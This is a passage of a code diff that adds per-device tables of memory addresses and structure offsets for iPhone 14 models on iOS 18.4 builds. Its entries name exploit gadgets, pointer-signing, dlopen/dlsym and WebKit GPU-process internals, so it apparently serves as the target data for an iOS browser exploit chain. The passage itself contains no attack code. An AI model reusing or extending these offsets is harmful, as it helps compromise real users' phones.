RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf098n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeb80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeae0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc48n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be260n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be268n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be270n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be278n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e27e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e818n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62a78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5b8n, + WebCore__initPKContact_value: 0x1eda6b5c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69d80n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69d78n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69d60n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f9c0n, + __pthread_head: 0x2696e0020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5390n, + gadget_control_1_ios184: 0x23f0362ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f261150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d235da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfae16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abf820n, + libGPUCompilerImplLazy__invoker: 0x23cddb7e8n, + libGPUCompilerImplLazy_cstring: 0x23bf25870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca858n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d284000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ac0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,7_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1ee8de058n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1ee8ddb40n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1ee8ddaa0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1ee8ddaf0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1ee8dcee8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f27ad3d8n, + AXCoreUtilities__DefaultLoader: 0x1ec59b9b0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ef76dea0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1ee7bd880n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ee6ead58n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x1be4044f0n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x1886ce850n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ee7bd8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ee7bd560n, + 